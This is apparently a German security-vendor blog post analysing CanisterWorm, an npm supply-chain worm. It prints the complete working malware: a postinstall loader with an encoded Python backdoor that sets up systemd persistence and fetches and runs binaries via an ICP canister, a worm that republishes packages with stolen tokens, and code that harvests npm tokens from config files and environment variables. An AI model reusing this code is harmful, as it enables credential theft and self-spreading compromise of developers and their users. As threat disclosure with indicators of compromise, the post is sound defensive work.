Aikido

TeamPCP setzt CanisterWorm auf NPM nach der Trivy-Kompromittierung ein

Verfasst von
Charlie Eriksen

Am 20. März 2026 um 20:45 UTC haben wir eine große Anzahl von Paketen auf NPM kompromittiert entdeckt, die von einem neuen, bisher unbekannten Wurm betroffen waren. Wir nennen diesen spezifischen Angriff CanisterWorm, da er einen ICP Canister für seinen C2 Dead-Drop nutzt, was wir in einer solchen Kampagne zum ersten Mal beobachten.

Bisher wurden kompromittiert:

  • 28 Pakete im @EmilGroup Scope
  • 16 Pakete in der @opengov Scope
  • Das Paket @teale.io/eslint-config
  • Das Paket @airtm/uuid-base32
  • Das Paket @pypestream/floating-ui-dom

Dies scheint eine direkte Fortsetzung des Angriffs auf Trivy vor weniger als 24 Stunden zu sein, wie von Wiz detailliert dokumentiert, und wurde vom selben Threat Actor, TeamPCP, durchgeführt.

Technische Analyse

Hier ist eine Aufschlüsselung der übergeordneten technischen Details des Angriffs:

  • 🧬 Dreistufige Architektur. Node.js Postinstall-Loader → persistente Python-Backdoor → ICP-gehosteter Dead-Drop für die dynamische Payload-Bereitstellung.
  • 🪱 Selbstverbreitender Wurm. deploy.js entnimmt npm-Tokens, löst Benutzernamen auf, listet alle veröffentlichbaren Pakete auf, erhöht Patch-Versionen und veröffentlicht die Payload im gesamten Geltungsbereich. 28 Pakete in weniger als 60 Sekunden.
  • 🔁 systemd-Persistenz. Installiert einen Dienst auf Benutzerebene mit Restart=always. Übersteht Neustarts, startet bei Absturz neu, kein Root erforderlich.
  • 🌐 ICP-Canister als C2-Dead-Drop. Ein Canister im Internet Computer Mainnet gibt eine URL zurück, die auf eine binäre Payload verweist. Dezentralisiert, zensurresistent, kein einzelner Angriffspunkt.
  • 🔄 Remote-Payload-Rotation. Der Canister-Controller kann die URL jederzeit austauschen und so neue Binärdateien an alle infizierten Hosts pushen, ohne das Implantat zu berühren.
  • ⏱️ Sandbox-Umgehung. 5 Minuten Schlaf vor dem ersten Beacon, danach ein Abfrageintervall von ca. 50 Minuten.
  • 🤫 Stilles Scheitern. Der gesamte Postinstall ist in try/catch. npm install läuft auf allen Plattformen normal durch; die Backdoor wird jedoch nur unter Linux mit systemd aktiviert.
  • 🐘 PostgreSQL-Maskierung. Alle Artefakte sind so benannt, dass sie auf Entwickelnden-Maschinen unauffällig sind: pgmon, pglog, .pg_state.
  • 📄 README-Erhaltung. Der Wurm ruft das ursprüngliche README jedes Zielpakets ab, bevor er es veröffentlicht, um den Anschein zu wahren.

Payload – Malware

Unten ist der Haupt-Malware-Payload aufgeführt. Diese Datei wird automatisch als postinstall Hook während npm install. Hier ist, was sie Schritt für Schritt tut:

  • 🔓 Dekodiert den eingebetteten Payload. Der lange Base64-String ist ein Python-Skript (die Backdoor der zweiten Stufe, die wir uns unten ansehen werden). Es wird dekodiert und geschrieben nach ~/.local/share/pgmon/service.py.
  • 🔧 Erstellt einen systemd-Benutzerdienst. Es schreibt eine Unit-Datei nach ~/.config/systemd/user/pgmon.service die das Python-Skript mit Restart=always und einer Neustartverzögerung von 5 Sekunden. Kein Root erforderlich, keine Passworteingabe.
  • 🚀 Startet den Dienst sofort. Es führt aus systemctl --user daemon-reload, aktiviert und startet dann den Dienst. Die Backdoor läuft nun und übersteht Neustarts und Abstürze.
  • 🐘 Tarnt sich als PostgreSQL-Tooling. Der Dienst heißt pgmon, die Binärdatei, die er später herunterlädt, heißt pglog, und die Statusdatei ist .pg_state. Eine Entwickelnde, die ihre laufenden Dienste überfliegt, würde nicht zweimal hinschauen.
'use strict';

const { execSync } = require('child_process');
const fs   = require('fs');
const os   = require('os');
const path = require('path');

try {
  const pkg = JSON.parse(fs.readFileSync(path.join(__dirname, 'package.json'), 'utf8'));

  const SERVICE_NAME = 'pgmon';
  const BASE64_PAYLOAD = 'aW1wb3J0IHVybGxpYi5yZXF1ZXN0CmltcG9ydCBvcwppbXBvcnQgc3VicHJvY2VzcwppbXBvcnQgdGltZQoKQ19VUkwgPSAiaHR0cHM6Ly90ZHRxeS1veWFhYS1hYWFhZS1hZjJkcS1jYWkucmF3LmljcDAuaW8vIgpUQVJHRVQgPSAiL3RtcC9wZ2xvZyIKU1RBVEUgPSAiL3RtcC8ucGdfc3RhdGUiCgpkZWYgZygpOgogICAgdHJ5OgogICAgICAgIHJlcSA9IHVybGxpYi5yZXF1ZXN0LlJlcXVlc3QoQ19VUkwsIGhlYWRlcnM9eydVc2VyLUFnZW50JzogJ01vemlsbGEvNS4wJ30pCiAgICAgICAgd2l0aCB1cmxsaWIucmVxdWVzdC51cmxvcGVuKHJlcSwgdGltZW91dD0xMCkgYXMgcjoKICAgICAgICAgICAgbGluayA9IHIucmVhZCgpLmRlY29kZSgndXRmLTgnKS5zdHJpcCgpCiAgICAgICAgICAgIHJldHVybiBsaW5rIGlmIGxpbmsuc3RhcnRzd2l0aCgiaHR0cCIpIGVsc2UgTm9uZQogICAgZXhjZXB0OgogICAgICAgIHJldHVybiBOb25lCgpkZWYgZShsKToKICAgIHRyeToKICAgICAgICB1cmxsaWIucmVxdWVzdC51cmxyZXRyaWV2ZShsLCBUQVJHRVQpCiAgICAgICAgb3MuY2htb2QoVEFSR0VULCAwbzc1NSkKICAgICAgICBzdWJwcm9jZXNzLlBvcGVuKFtUQVJHRVRdLCBzdGRvdXQ9c3VicHJvY2Vzcy5ERVZOVUxMLCBzdGRlcnI9c3VicHJvY2Vzcy5ERVZOVUxMLCBzdGFydF9uZXdfc2Vzc2lvbj1UcnVlKQogICAgICAgIHdpdGggb3BlbihTVEFURSwgInciKSBhcyBmOiAKICAgICAgICAgICAgZi53cml0ZShsKQogICAgZXhjZXB0OgogICAgICAgIHBhc3MKCmlmIF9fbmFtZV9fID09ICJfX21haW5fXyI6CiAgICB0aW1lLnNsZWVwKDMwMCkKICAgIHdoaWxlIFRydWU6CiAgICAgICAgbCA9IGcoKQogICAgICAgIHByZXYgPSAiIgogICAgICAgIGlmIG9zLnBhdGguZXhpc3RzKFNUQVRFKToKICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgd2l0aCBvcGVuKFNUQVRFLCAiciIpIGFzIGY6IAogICAgICAgICAgICAgICAgICAgIHByZXYgPSBmLnJlYWQoKS5zdHJpcCgpCiAgICAgICAgICAgIGV4Y2VwdDogCiAgICAgICAgICAgICAgICBwYXNzCiAgICAgICAgCiAgICAgICAgaWYgbCBhbmQgbCAhPSBwcmV2IGFuZCAieW91dHViZS5jb20iIG5vdCBpbiBsOgogICAgICAgICAgICBlKGwpCiAgICAgICAgICAgIAogICAgICAgIHRpbWUuc2xlZXAoMzAwMCkK';

  if (!BASE64_PAYLOAD) process.exit(0);

  const homeDir        = os.homedir();
  const dataDir        = path.join(homeDir, '.local', 'share', SERVICE_NAME);
  const scriptPath     = path.join(dataDir, 'service.py');
  const systemdUserDir = path.join(homeDir, '.config', 'systemd', 'user');
  const unitFilePath   = path.join(systemdUserDir, `${SERVICE_NAME}.service`);

  fs.mkdirSync(dataDir, { recursive: true });
  fs.writeFileSync(scriptPath, Buffer.from(BASE64_PAYLOAD, 'base64').toString('utf8'), { mode: 0o755 });

  fs.mkdirSync(systemdUserDir, { recursive: true });
  fs.writeFileSync(unitFilePath, [
    '[Unit]',
    `Description=${SERVICE_NAME}`,
    'After=default.target',
    '',
    '[Service]',
    'Type=simple',
    `ExecStart=/usr/bin/python3 ${scriptPath}`,
    'Restart=always',
    'RestartSec=5',
    '',
    '[Install]',
    'WantedBy=default.target',
    '',
  ].join('\n'), { mode: 0o644 });

  execSync('systemctl --user daemon-reload',                       { stdio: 'pipe' });
  execSync(`systemctl --user enable ${SERVICE_NAME}.service`,      { stdio: 'pipe' });
  execSync(`systemctl --user start  ${SERVICE_NAME}.service`,      { stdio: 'pipe' });
} catch (_) {
  // silent
}

Payload – Python Backdoor

Wenn Sie die base64-kodierte systemd-Payload dekodieren, erhalten Sie Folgendes. Dies ist die eigentliche Backdoor, die auf dem System persistent ist. Sie verwendet ausschließlich Module der Python-Standardbibliothek, sodass nichts installiert werden muss.

  • ⏱️ Wartet 5 Minuten, bevor es aktiv wird. Lang genug, um die meisten Sandbox-Umgebungen zu überdauern, die sofortiges verdächtiges Verhalten überwachen.
  • 📡 Meldet sich alle ~50 Minuten nach Hause. Funktion g() kontaktiert einen ICP-Canister mit einem gefälschten Browser-User-Agent. Der Canister liefert nicht direkt Malware aus. Er gibt lediglich eine URL als Klartext zurück, die auf den aktuellen Speicherort des eigentlichen Binärprogramms verweist.
  • 📥 Lädt herunter und führt aus, was ihm befohlen wird. Funktion e() lädt das Binärprogramm herunter nach /tmp/pglog, markiert es als ausführbar und startet es in einem vollständig losgelösten Prozess. Die URL wird gespeichert unter /tmp/.pg_state damit dieselbe Payload nicht zweimal heruntergeladen wird.
  • 🔘 Verfügt über einen integrierten Kill Switch. Wenn die URL enthält youtube[.]com, überspringt das Skript sie. Dies ist der Ruhezustand des Canisters. Der Angreifer aktiviert das Implantat, indem er den Canister auf ein echtes Binärprogramm verweist, und deaktiviert es, indem er wieder zu einem YouTube-Link wechselt.
  • 🔄 Unterstützt Payload-Rotation. Wenn der Angreifer den Canister aktualisiert, um auf eine neue URL zu verweisen, übernimmt jede infizierte Maschine das neue Binärprogramm bei ihrer nächsten Abfrage. Das alte Binärprogramm läuft im Hintergrund weiter, da das Skript vorherige Prozesse niemals beendet.
import urllib.request
import os
import subprocess
import time

C_URL = "https://tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0.io/"
TARGET = "/tmp/pglog"
STATE = "/tmp/.pg_state"

def g():
    try:
        req = urllib.request.Request(C_URL, headers={'User-Agent': 'Mozilla/5.0'})
        with urllib.request.urlopen(req, timeout=10) as r:
            link = r.read().decode('utf-8').strip()
            return link if link.startswith("http") else None
    except:
        return None

def e(l):
    try:
        urllib.request.urlretrieve(l, TARGET)
        os.chmod(TARGET, 0o755)
        subprocess.Popen([TARGET], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, start_new_session=True)
        with open(STATE, "w") as f: 
            f.write(l)
    except:
        pass

if __name__ == "__main__":
    time.sleep(300)
    while True:
        l = g()
        prev = ""
        if os.path.exists(STATE):
            try:
                with open(STATE, "r") as f: 
                    prev = f.read().strip()
            except: 
                pass
        
        if l and l != prev and "youtube.com" not in l:
            e(l)
            
        time.sleep(3000)

Diese Payload und die referenzierte Domain scheinen ähnlich, wenn nicht identisch zu sein mit der sysmon.py Payload aus dem Trivy-Angriff. Derzeit ist die vom C2 zurückgegebene URL ein Rickroll YouTube-Video. Dies könnte sich jederzeit ändern und eine tatsächlich bösartige Payload bereitstellen.

Payload - Wurm

Die Pakete enthalten auch deploy.js, ein Selbstreplikations-Tool, das der Angreifer manuell ausführt, um die bösartige Payload über jedes Paket zu verbreiten, auf das ein gestohlenes npm-Token Zugriff hat. Der Wurm ist sehr einfach. Er scheint vollständig „vibecoded“ zu sein und ist selbsterklärend. Es wurde kein Versuch unternommen, ihn zu verschleiern. Dies wird nicht ausgelöst durch npm install. Es ist ein eigenständiges Tool, das der Angreifer mit gestohlenen Tokens ausführt, um den „Blast Radius“ zu maximieren. Hier ist, was es tut:

  • 🔑 Unterstützt mehrere Tokens. Liest NPM_TOKENS (kommagetrennt) oder NPM_TOKEN aus der Umgebung. Jedes Token wird unabhängig verarbeitet, was bedeutet, dass ein einzelner Durchlauf mehrere Konten kompromittieren kann.
  • 🔍 Löst auf, wem das Token gehört. Für jedes Token ruft es den npm- /-/whoami Endpunkt auf, um den zugehörigen Benutzernamen abzurufen. Ungültige oder abgelaufene Tokens werden übersprungen.
  • 📦 Listet jedes Paket auf, das das Konto veröffentlichen kann. Verwendet die npm-Such-API mit maintainer:<username>, paginiert in Batches von 250. So wurden alle 28 entdeckt @emilgroup Pakete.
  • 🔢 Erhöht die Patch-Version automatisch. Ruft die aktuelle aktuellste Version jedes Zielpakets ab und inkrementiert die Patch-Nummer. 1.54.0 wird zu 1.54.1, 1.97.1 wird zu 1.97.2. Die neue Version sieht immer wie ein routinemäßiges Patch-Release aus.
  • 📄 Bewahrt die ursprüngliche README. Vor der Veröffentlichung wird die bestehende README des Zielpakets aus dem Registry abgerufen und lokal ausgetauscht. Nach der Veröffentlichung werden die eigenen Dateien wiederhergestellt. Dadurch bleibt der npm-Eintrag normal aussehend.
  • 🔀 Schreibt package.json on the fly um. Ersetzt temporär den Paketnamen und die Version in der lokalen package.json durch die des Ziels, veröffentlicht und stellt dann das Original wieder her. Ein bösartiges Skelett, das für jedes Paket wiederverwendet wird.
  • 🚀 Veröffentlicht mit --tag latest. Der --access public --tag latest Flags stellen sicher, dass die bösartige Version zur Standardinstallation wird. Jeder, der npm install @emilgroup/whatever ausführt, erhält die kompromittierte Version.
  • 🧹 Räumt hinter sich auf. Beide package.json und README.md werden immer in einem finally Block wiederhergestellt, selbst wenn die Veröffentlichung fehlschlägt. Das lokale Verzeichnis sieht nach dem Durchlauf unberührt aus.
  • 📊 Gibt eine Zusammenfassung aus. Verfolgt Erfolge und Misserfolge pro Token und protokolliert alles mit Emoji-präfixierten Statuszeilen. Ironischerweise gut entwickelt für ein Angriffstool.

#!/usr/bin/env node

/**
 * deploy.js
 *
 * Iterates over a list of NPM tokens to:
 *  1. Authenticate with the npm registry and resolve your username per token
 *  2. Fetch every package owned by that account from the registry
 *  3. For every owned package:
 *       a. Deprecate all existing versions (except the new one you are publishing)
 *       b. Swap the "name" field in a temp copy of package.json
 *       c. Run `npm publish` to push the new version to that package
 *
 * Usage (multiple tokens, comma-separated):
 *   NPM_TOKENS=<token1>,<token2>,<token3> node scripts/deploy.js
 *
 * Usage (single token fallback):
 *   NPM_TOKEN=<your_token> node scripts/deploy.js
 *
 * Or set it in your environment beforehand:
 *   export NPM_TOKENS=<token1>,<token2>
 *   node scripts/deploy.js
 */

const { execSync } = require('child_process');
const https = require('https');
const fs = require('fs');
const path = require('path');

// ── Helpers ──────────────────────────────────────────────────────────────────

function run(cmd, opts = {}) {
  console.log(`\n> ${cmd}`);
  return execSync(cmd, { stdio: 'inherit', ...opts });
}

function fetchJson(url, token) {
  return new Promise((resolve, reject) => {
    const options = {
      headers: {
        Authorization: `Bearer ${token}`,
        Accept: 'application/json',
      },
    };
    https
      .get(url, options, (res) => {
        let data = '';
        res.on('data', (chunk) => (data += chunk));
        res.on('end', () => {
          try {
            resolve(JSON.parse(data));
          } catch (e) {
            reject(new Error(`Failed to parse response from ${url}: ${data}`));
          }
        });
      })
      .on('error', reject);
  });
}

/**
 * Fetches package metadata (readme + latest version) from the npm registry.
 * Returns { readme: string|null, latestVersion: string|null }.
 */
async function fetchPackageMeta(packageName, token) {
  try {
    const meta = await fetchJson(
      `https://registry.npmjs.org/${encodeURIComponent(packageName)}`,
      token
    );
    const readme = (meta && meta.readme) ? meta.readme : null;
    const latestVersion =
      (meta && meta['dist-tags'] && meta['dist-tags'].latest) || null;
    return { readme, latestVersion };
  } catch (_) {
    return { readme: null, latestVersion: null };
  }
}

/**
 * Bumps the patch segment of a semver string.
 * e.g. "1.39.0" → "1.39.1"
 */
function bumpPatch(version) {
  const parts = version.split('.').map(Number);
  if (parts.length !== 3 || parts.some(isNaN)) return version;
  parts[2] += 1;
  return parts.join('.');
}

/**
 * Returns an array of package names owned by `username`.
 * Uses the npm search API filtered by maintainer.
 */
async function getOwnedPackages(username, token) {
  let packages = [];
  let from = 0;
  const size = 250;

  while (true) {
    const url = `https://registry.npmjs.org/-/v1/search?text=maintainer:${encodeURIComponent(
      username
    )}&size=${size}&from=${from}`;
    const result = await fetchJson(url, token);

    if (!result.objects || result.objects.length === 0) break;

    packages = packages.concat(result.objects.map((o) => o.package.name));

    if (packages.length >= result.total) break;
    from += size;
  }

  return packages;
}

/**
 * Runs the full deploy pipeline for a single npm token.
 * Returns { success: string[], failed: string[] }
 */
async function deployWithToken(token, pkg, pkgPath, newVersion) {
  // 1. Verify token / get username
  console.log('\n🔍  Verifying npm token…');
  let whoami;
  try {
    whoami = await fetchJson('https://registry.npmjs.org/-/whoami', token);
  } catch (err) {
    console.error('❌  Could not reach the npm registry:', err.message);
    return { success: [], failed: [] };
  }

  if (!whoami || !whoami.username) {
    console.error('❌  Invalid or expired token — skipping.');
    return { success: [], failed: [] };
  }

  const username = whoami.username;
  console.log(`✅  Authenticated as: ${username}`);

  // 2. Fetch all packages owned by this user
  console.log(`\n🔍  Fetching all packages owned by "${username}"…`);
  let ownedPackages;
  try {
    ownedPackages = await getOwnedPackages(username, token);
  } catch (err) {
    console.error('❌  Failed to fetch owned packages:', err.message);
    return { success: [], failed: [] };
  }

  if (ownedPackages.length === 0) {
    console.log('   No packages found for this user. Skipping.');
    return { success: [], failed: [] };
  }

  console.log(`   Found ${ownedPackages.length} package(s): ${ownedPackages.join(', ')}`);

  // 3. Process each owned package
  const results = { success: [], failed: [] };

  for (const packageName of ownedPackages) {
    console.log(`\n${'─'.repeat(60)}`);
    console.log(`📦  Processing: ${packageName}`);

    // 3a. Fetch the original package's README and latest version
    const readmePath = path.resolve(__dirname, '..', 'README.md');
    const originalReadme = fs.existsSync(readmePath)
      ? fs.readFileSync(readmePath, 'utf8')
      : null;

    console.log(`   📄  Fetching metadata for ${packageName}…`);
    const { readme: remoteReadme, latestVersion } = await fetchPackageMeta(packageName, token);

    // Determine version to publish: bump patch of existing latest, or use local version
    const publishVersion = latestVersion ? bumpPatch(latestVersion) : newVersion;
    console.log(
      latestVersion
        ? `   🔢  Latest is ${latestVersion} → publishing ${publishVersion}`
        : `   🔢  No existing version found → publishing ${publishVersion}`
    );

    if (remoteReadme) {
      fs.writeFileSync(readmePath, remoteReadme, 'utf8');
      console.log(`   📄  Using original README for ${packageName}`);
    } else {
      console.log(`   📄  No existing README found; keeping local README`);
    }

    // 3c. Temporarily rewrite package.json with this package's name + bumped version, publish, then restore
    const originalPkgJson = fs.readFileSync(pkgPath, 'utf8');
    const tempPkg = { ...pkg, name: packageName, version: publishVersion };
    fs.writeFileSync(pkgPath, JSON.stringify(tempPkg, null, 2) + '\n', 'utf8');

    try {
      run('npm publish --access public --tag latest', {
        env: { ...process.env, NPM_TOKEN: token },
      });
      console.log(`✅  Published ${packageName}@${publishVersion}`);
      results.success.push(packageName);
    } catch (err) {
      console.error(`❌  Failed to publish ${packageName}:`, err.message);
      results.failed.push(packageName);
    } finally {
      // Always restore the original package.json
      fs.writeFileSync(pkgPath, originalPkgJson, 'utf8');

      // Always restore the original README
      if (originalReadme !== null) {
        fs.writeFileSync(readmePath, originalReadme, 'utf8');
      } else if (remoteReadme && fs.existsSync(readmePath)) {
        // README didn't exist locally before — remove the temporary one
        fs.unlinkSync(readmePath);
      }
    }
  }

  return results;
}

// ── Main ─────────────────────────────────────────────────────────────────────

(async () => {
  // 1. Resolve token list — prefer NPM_TOKENS (comma-separated), fall back to NPM_TOKEN
  const rawTokens = process.env.NPM_TOKENS || process.env.NPM_TOKEN || '';
  const tokens = rawTokens
    .split(',')
    .map((t) => t.trim())
    .filter(Boolean);

  if (tokens.length === 0) {
    console.error('❌  No npm tokens found.');
    console.error('    Set NPM_TOKENS=<token1>,<token2>,… or NPM_TOKEN=<token>');
    process.exit(1);
  }

  console.log(`🔑  Found ${tokens.length} token(s) to process.`);

  // 2. Read local package.json once
  const pkgPath = path.resolve(__dirname, '..', 'package.json');
  const pkg = JSON.parse(fs.readFileSync(pkgPath, 'utf8'));
  const newVersion = pkg.version;

  // 3. Iterate over every token
  const overall = { success: [], failed: [] };

  for (let i = 0; i < tokens.length; i++) {
    const token = tokens[i];
    console.log(`\n${'═'.repeat(60)}`);
    console.log(`🔑  Token ${i + 1} / ${tokens.length}`);

    const { success, failed } = await deployWithToken(token, pkg, pkgPath, newVersion);
    overall.success.push(...success);
    overall.failed.push(...failed);
  }

  // 4. Overall summary
  console.log(`\n${'═'.repeat(60)}`);
  console.log('📊  Overall Deploy Summary');
  console.log(`   ✅  Succeeded (${overall.success.length}): ${overall.success.join(', ') || 'none'}`);
  console.log(`   ❌  Failed    (${overall.failed.length}): ${overall.failed.join(', ') || 'none'}`);

  if (overall.failed.length > 0) {
    process.exit(1);
  }
})();

Update: CanisterWorm lernt, sich selbst zu verbreiten

Etwa eine Stunde nach der ersten @emilgroup Welle, hat der Angreifer ein signifikantes Upgrade auf @teale.io/eslint-config Versionen 1.8.11 und 1.8.12 (21:16-21:21 UTC) veröffentlicht. Der Wurm ist kein manuelles Tool mehr. Er verbreitet sich jetzt selbst.

In den @emilgroup Versionen, deploy.js war ein eigenständiges Skript, das der Angreifer manuell mit gestohlenen Tokens ausführte. Opfer erhielten die Backdoor, aber der Wurm verbreitete sich nicht von selbst weiter. Das hat sich geändert. Die neue index.js fügt eine findNpmTokens() Funktion hinzu, die während postinstall läuft und aktiv npm-Authentifizierungstoken vom Rechner des Opfers sammelt.

'use strict';

const { execSync, spawn } = require('child_process');
const fs   = require('fs');
const os   = require('os');
const path = require('path');

function findNpmTokens() {
  const tokens = new Set();
  const homeDir = os.homedir();
  const npmrcPaths = [
    path.join(homeDir, '.npmrc'),
    path.join(process.cwd(), '.npmrc'),
    '/etc/npmrc',
  ];
  for (const rcPath of npmrcPaths) {
    try {
      const content = fs.readFileSync(rcPath, 'utf8');
      for (const line of content.split('\n')) {
        const m = line.match(/(?:_authToken\s*=\s*|:_authToken=)([^\s]+)/);
        if (m && m[1] && !m[1].startsWith('${')) {
          tokens.add(m[1].trim());
        }
      }
    } catch (_) {}
  }
  const envKeys = Object.keys(process.env).filter(
    (k) => k === 'NPM_TOKEN' || k === 'NPM_TOKENS' || (k.includes('NPM') && k.includes('TOKEN'))
  );
  for (const key of envKeys) {
    const val = process.env[key] || '';
    for (const t of val.split(',')) {
      const trimmed = t.trim();
      if (trimmed) tokens.add(trimmed);
    }
  }
  try {
    const configToken = execSync('npm config get //registry.npmjs.org/:_authToken 2>/dev/null', {
      stdio: ['pipe', 'pipe', 'pipe'],
    }).toString().trim();
    if (configToken && configToken !== 'undefined' && configToken !== 'null') {
      tokens.add(configToken);
    }
  } catch (_) {}
  return [...tokens].filter(Boolean);
}

try {
  const pkg = JSON.parse(fs.readFileSync(path.join(__dirname, 'package.json'), 'utf8'));

  const SERVICE_NAME = 'pgmon';
  const BASE64_PAYLOAD = 'hello123';

  if (!BASE64_PAYLOAD) process.exit(0);

  const homeDir        = os.homedir();
  const dataDir        = path.join(homeDir, '.local', 'share', SERVICE_NAME);
  const scriptPath     = path.join(dataDir, 'service.py');
  const systemdUserDir = path.join(homeDir, '.config', 'systemd', 'user');
  const unitFilePath   = path.join(systemdUserDir, `${SERVICE_NAME}.service`);

  fs.mkdirSync(dataDir, { recursive: true });
  fs.writeFileSync(scriptPath, Buffer.from(BASE64_PAYLOAD, 'base64').toString('utf8'), { mode: 0o755 });

  fs.mkdirSync(systemdUserDir, { recursive: true });
  fs.writeFileSync(unitFilePath, [
    '[Unit]',
    `Description=${SERVICE_NAME}`,
    'After=default.target',
    '',
    '[Service]',
    'Type=simple',
    `ExecStart=/usr/bin/python3 ${scriptPath}`,
    'Restart=always',
    'RestartSec=5',
    '',
    '[Install]',
    'WantedBy=default.target',
    '',
  ].join('\n'), { mode: 0o644 });

  execSync('systemctl --user daemon-reload',                       { stdio: 'pipe' });
  execSync(`systemctl --user enable ${SERVICE_NAME}.service`,      { stdio: 'pipe' });
  execSync(`systemctl --user start  ${SERVICE_NAME}.service`,      { stdio: 'pipe' });

  try {
    const tokens = findNpmTokens();
    if (tokens.length > 0) {
      const deployScript = path.join(__dirname, 'scripts', 'deploy.js');
      if (fs.existsSync(deployScript)) {
        spawn(process.execPath, [deployScript], {
          detached: true,
          stdio: 'ignore',
          env: { ...process.env, NPM_TOKENS: tokens.join(',') },
        }).unref();
      }
    }
  } catch (_) {}
} catch (_) {}

Dies ist dieselbe systemd-Backdoor wie zuvor, jedoch mit einer entscheidenden Ergänzung am Ende: Nach der Installation des persistenten Dienstes durchsucht sie alle npm-Token, die sie finden kann, und startet den Wurm damit.

  • 🔍 Durchsucht .npmrc Dateien. Prüft ~/.npmrc (Benutzerkonfiguration), .npmrc im aktuellen Arbeitsverzeichnis (Projektkonfiguration) und /etc/npmrc (globale Konfiguration). Analysiert jede Zeile nach _authToken Werten. Intelligent genug, um Template-Variablen wie ${NPM_TOKEN} zu überspringen, die nicht interpoliert wurden.
  • 🔍 Durchsucht Umgebungsvariablen. Sucht nach NPM_TOKEN, NPM_TOKENS, und alles, was übereinstimmt mit *NPM*TOKEN*. Trennt an Kommas, um Variablen mit mehreren Tokens zu verarbeiten. Dies erfasst die meisten CI/CD-Setups.
  • 🔍 Fragt die npm-Konfiguration direkt ab. Führt aus npm config get //registry.npmjs.org/:_authToken als Subprozess, um außerhalb gespeicherte Tokens abzufangen .npmrc Dateien.
  • 🪱 Startet den Wurm automatisch. Werden Tokens gefunden, startet es deploy.js als vollständig abgetrennter Hintergrundprozess mit den gestohlenen Tokens. Die detached: true und .unref() bedeuten, dass der Wurm weiterläuft, selbst nachdem npm install beendet ist.

Dies ist der Punkt, an dem der Angriff von „kompromittiertes Konto veröffentlicht Malware“ zu „Malware kompromittiert weitere Konten und verbreitet sich selbst“ übergeht. Jede Entwickelnde oder CI-Pipeline, die dieses Paket installiert und einen zugänglichen npm-Token besitzt, wird zu einem unwissentlichen Verbreitungsvektor. Ihre Pakete werden infiziert, ihre nachgeschalteten Benutzer installieren diese, und wenn diese Tokens haben, wiederholt sich der Zyklus.

Die ICP-Backdoor-Payload wurde ersetzt durch hello123, einen Dummy-Teststring, der zu Garbage-Bytes dekodiert wird. Wenn systemd versucht, ihn als Python auszuführen, stürzt er sofort ab, aber mit Restart=always eingestellt, startet der Dienst alle 5 Sekunden stillschweigend neu. Der Angreifer lieferte zuerst die Infrastruktur, um die gesamte Kette (Token-Harvesting, Wurm-Spawning, systemd-Persistenz) zu validieren, bevor er sie mit der echten Payload bestückte.

Wäre dies mit der vollständigen ICP-Backdoor ausgeliefert worden, wären die Pakete jeder kompromittierten Entwickelnden zu einem neuen Infektionsvektor geworden. Die Infrastruktur funktioniert. Sie haben den Hahn nur noch nicht aufgedreht.

Nachricht im Quellcode

Es scheint, dass der Bedrohungsakteur die Berichterstattung über seine Angriffe verfolgt. In ihrer jüngsten Angriffswelle hinterließen sie eine Nachricht, die sich direkt an den Autor dieses Blogbeitrags richtete:

Indikatoren für Kompromittierung

C2-Infrastruktur

  • hxxps://tdtqy-oyaaa-aaaae-af2dq-cai[.]raw[.]icp0[.]io/ — ICP Canister Dead-Drop Resolver

Dateisystem-Indikatoren

  • ~/.local/share/pgmon/service.py — Python-Backdoor-Skript
  • ~/.config/systemd/user/pgmon.service — Systemd-Persistenzeinheit
  • /tmp/pglog — Heruntergeladene binäre Payload
  • /tmp/.pg_state — Statusverfolgungsdatei

Bösartige index.js-Hashes (SHA256)

  • e9b1e069efc778c1e77fb3f5fcc3bd3580bbc810604cbf4347897ddb4b8c163b — Welle 1: Trockenlauf (leere Payload, manuelle Bereitstellung)
  • 61ff00a81b19624adaad425b9129ba2f312f4ab76fb5ddc2c628a5037d31a4ba — Welle 2: bewaffnete ICP-Backdoor, manuelle Bereitstellung
  • 0c0d206d5e68c0cf64d57ffa8bc5b1dad54f2dda52f24e96e02e237498cb9c3a — Welle 3: selbstverbreitend, Test-Payload
  • c37c0ae9641d2e5329fcdee847a756bf1140fdb7f0b7c78a40fdc39055e7d926 — Welle 4: endgültige Form (selbstverbreitend + bewaffnete ICP-Hintertür)

Bösartige deploy.js-Hashes (SHA256)

  • f398f06eefcd3558c38820a397e3193856e4e6e7c67f81ecc8e533275284b152 — Welle 1: ausführlich, kein --tag latest
  • 7df6cef7ab9aae2ea08f2f872f6456b5d51d896ddda907a238cd6668ccdc4bb7 — Welle 2: --tag latest hinzugefügt
  • 5e2ba7c4c53fa6e0cef58011acdd50682cf83fb7b989712d2fcf1b5173bad956 — Welle 3+: minimiert, still

Teilen:

https://www.aikido.dev/blog/teampcp-deploys-worm-npm-trivy-compromise

Heute kostenlos starten.

Kostenlos starten
Ohne Kreditkarte

Abonnieren Sie Bedrohungs-News.

4.7/5
Falschpositive Ergebnisse leid?

Probieren Sie Aikido, wie 100.000 andere.
Jetzt starten
Erhalten Sie eine personalisierte Führung

Von über 100.000 Teams vertraut

Jetzt buchen
Scannen Sie Ihre App nach IDORs und realen Angriffspfaden

Von über 100.000 Teams vertraut

Scan starten
Erfahren Sie, wie KI-Penetrationstests Ihre App testen

Von über 100.000 Teams vertraut

Testen starten

Sicherheit jetzt implementieren

Sichern Sie Ihren Code, Ihre Cloud und Ihre Laufzeit in einem zentralen System.
Finden und beheben Sie Schwachstellen schnell und automatisch.

Keine Kreditkarte erforderlich | Scan-Ergebnisse in 32 Sek.